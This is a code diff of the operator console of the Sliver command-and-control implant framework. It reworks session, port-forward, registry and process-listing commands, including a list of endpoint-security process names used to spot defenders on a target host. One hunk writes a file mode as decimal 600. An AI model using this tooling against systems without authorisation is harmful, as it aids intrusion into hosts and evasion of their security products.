@@ -34,7 +34,7 @@ func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
}
|
||||
id := uint32(ctx.Flags.Int("id"))
|
||||
if id == uint32(0) {
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -19,22 +19,19 @@ package portfwd
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// PortfwdCmd - Display information about tunneled port forward(s)
|
||||
func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrintPortfwd(con)
|
||||
}
|
||||
|
||||
// PrintPortfwd - Print the port forward(s)
|
||||
func PrintPortfwd(con *console.SliverConsoleClient) {
|
||||
portfwds := core.Portfwds.List()
|
||||
if len(portfwds) == 0 {
|
||||
con.PrintInfof("No port forwards\n")
|
||||
@@ -43,22 +40,18 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
|
||||
sort.Slice(portfwds[:], func(i, j int) bool {
|
||||
return portfwds[i].ID < portfwds[j].ID
|
||||
})
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Session ID",
|
||||
"Bind Address",
|
||||
"Remote Address",
|
||||
})
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Session ID")),
|
||||
strings.Repeat("=", len("Bind Address")),
|
||||
strings.Repeat("=", len("Remote Address")),
|
||||
)
|
||||
for _, p := range portfwds {
|
||||
tw.AppendHeader(table.Row{
|
||||
p.ID,
|
||||
p.SessionID,
|
||||
p.BindAddr,
|
||||
p.RemoteAddr,
|
||||
})
|
||||
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr)
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
table.Flush()
|
||||
con.Printf("%s", outputBuf.String())
|
||||
}
|
||||
@@ -99,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -35,17 +35,14 @@ import (
|
||||
|
||||
var (
|
||||
// Stylizes known processes in the `ps` command
|
||||
knownSecurityTools = map[string][]string{
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
knownSecurityTools = map[string]string{
|
||||
"ccSvcHst.exe": console.Red, // SEP
|
||||
"cb.exe": console.Red, // Carbon Black
|
||||
"MsMpEng.exe": console.Red, // Windows Defender
|
||||
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
|
||||
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdagent.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
}
|
||||
)
|
||||
|
||||
@@ -71,20 +68,10 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
PrintPS(os, ps, false, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(ps.Response)
|
||||
} else {
|
||||
PrintPS(os, ps, true, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -99,6 +86,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
|
||||
// PrintPS - Prints the process list
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pidFilter := ctx.Flags.Int("pid")
|
||||
exeFilter := ctx.Flags.String("exe")
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
@@ -130,36 +118,23 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
|
||||
continue
|
||||
}
|
||||
row := procRow(tw, proc, cmdLine, con)
|
||||
tw.AppendRow(row)
|
||||
procRow(tw, proc, cmdLine, con)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "pid", Mode: table.Asc},
|
||||
{Name: "ppid", Mode: table.Asc},
|
||||
})
|
||||
if !interactive {
|
||||
overflow = true
|
||||
}
|
||||
|
||||
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
|
||||
}
|
||||
|
||||
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
products := []string{}
|
||||
for _, proc := range ps.Processes {
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
products = append(products, secTool[1])
|
||||
}
|
||||
}
|
||||
return products
|
||||
}
|
||||
|
||||
// procRow - Stylizes the process information
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = modifyColor
|
||||
}
|
||||
if session != nil && proc.Pid == session.PID {
|
||||
color = console.Green
|
||||
@@ -221,7 +196,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
}
|
||||
}
|
||||
}
|
||||
return row
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
|
||||
// GetPIDByName - Get a PID by name from the active session
|
||||
|
||||
@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCreateKey - Print the results of the create key command
|
||||
// PrintCreateKey - Print the results of the crate key command
|
||||
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if createKey.Response != nil && createKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", createKey.Response.Err)
|
||||
|
||||
@@ -1,105 +0,0 @@
|
||||
package registry
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RegDeleteKeyCmd - Remove a Windows registry key
|
||||
func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Flags.String("hostname")
|
||||
hive := ctx.Flags.String("hive")
|
||||
if err := checkHive(hive); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
regPath := ctx.Args.String("registry-path")
|
||||
if regPath == "" {
|
||||
con.PrintErrorf("You must provide a path\n")
|
||||
return
|
||||
}
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
|
||||
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
|
||||
Hive: hive,
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if deleteKey.Response != nil && deleteKey.Response.Async {
|
||||
con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
})
|
||||
con.PrintAsyncResponse(deleteKey.Response)
|
||||
} else {
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintDeleteKey - Print the results of the delete key command
|
||||
func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if deleteKey.Response != nil && deleteKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", deleteKey.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Key removed at %s\\%s", regPath, key)
|
||||
}
|
||||
@@ -1,50 +0,0 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CloseSessionCmd - Close an interactive session but do not kill the remote process
|
||||
func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// Get the active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
con.PrintErrorf("No active session\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Close the session
|
||||
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
|
||||
}
|
||||
@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
return nil, ErrNoSessions
|
||||
}
|
||||
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
var keys []int
|
||||
for _, session := range sessions.Sessions {
|
||||
keys = append(keys, session.ID)
|
||||
keys = append(keys, int(session.ID))
|
||||
}
|
||||
sort.Strings(keys)
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
session := sessionsMap[key]
|
||||
session := sessionsMap[uint32(key)]
|
||||
if onlyAlive && session.IsDead {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
// Go from the selected option -> index -> session
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return sessionsMap[keys[index]], nil
|
||||
return sessionsMap[uint32(keys[index])], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
|
||||
@@ -20,7 +20,6 @@ package sessions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
@@ -43,7 +42,6 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
// Parse C2 Flags
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
@@ -88,63 +86,9 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
// No flags, parse the current beacon's ActiveC2 instead
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
|
||||
c2url, err := url.Parse(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
switch c2url.Scheme {
|
||||
case "mtls":
|
||||
mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
case "wg":
|
||||
wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
case "https":
|
||||
fallthrough
|
||||
case "http":
|
||||
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
case "dns":
|
||||
dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
case "namedpipe":
|
||||
namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
case "tcppivot":
|
||||
tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
default:
|
||||
con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return
|
||||
}
|
||||
|
||||
openSession := &sliverpb.OpenSession{
|
||||
|
||||
@@ -40,7 +40,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session %s ... ", session.ID)
|
||||
con.Printf("Pruning session #%d ...", session.ID)
|
||||
err = kill.KillSession(session, true, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
|
||||
@@ -21,7 +21,6 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
@@ -31,7 +30,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// SessionsCmd - Display/interact with sessions
|
||||
@@ -56,7 +54,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -70,7 +68,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
}
|
||||
}
|
||||
return
|
||||
@@ -92,12 +90,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.GetSession(interact)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
} else {
|
||||
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
|
||||
}
|
||||
} else {
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
@@ -110,41 +108,19 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// PrintSessions - Print the current sessions
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Health",
|
||||
})
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
})
|
||||
|
||||
for _, session := range sessions {
|
||||
@@ -162,37 +138,21 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
|
||||
if session.Burned {
|
||||
burned = "🔥"
|
||||
}
|
||||
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// ShortSessionID - Shorten the session ID
|
||||
func ShortSessionID(id string) string {
|
||||
return strings.Split(id, "-")[0]
|
||||
}
|
||||
@@ -19,8 +19,6 @@ package settings
|
||||
*/
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -45,55 +43,9 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
|
||||
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
|
||||
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
|
||||
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
|
||||
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// SettingsAlwaysOverflow - Toggle always overflow
|
||||
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
|
||||
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
|
||||
}
|
||||
|
||||
// SettingsSmallTerm - Modify small terminal width value
|
||||
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
result := ""
|
||||
prompt := &survey.Input{Message: "Set small width:"}
|
||||
err = survey.AskOne(prompt, &result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
newWidth, err := strconv.Atoi(result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if newWidth < 1 {
|
||||
con.PrintErrorf("Invalid width (too small)\n")
|
||||
return
|
||||
}
|
||||
con.Settings.SmallTermWidth = newWidth
|
||||
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
|
||||
}
|
||||
|
||||
// SettingsTablesCmd - The client settings command
|
||||
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
|
||||
@@ -27,7 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
"golang.org/x/term"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
|
||||
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
|
||||
renderedTable := tw.Render()
|
||||
lineCount := strings.Count(renderedTable, "\n")
|
||||
if !overflow || con.Settings.AlwaysOverflow {
|
||||
if !overflow {
|
||||
// Only paginate if the number of lines is at least 2x the terminal height
|
||||
width, height, err := term.GetSize(0)
|
||||
width, height, err := terminal.GetSize(0)
|
||||
if err == nil && 2*height < lineCount {
|
||||
if 7 < height {
|
||||
tw.SetPageSize(height - 6)
|
||||
|
||||
@@ -31,8 +31,8 @@ import (
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
// SocksStartCmd - Add a new tunneled port forward
|
||||
func SocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// SocksAddCmd - Add a new tunneled port forward
|
||||
func SocksAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
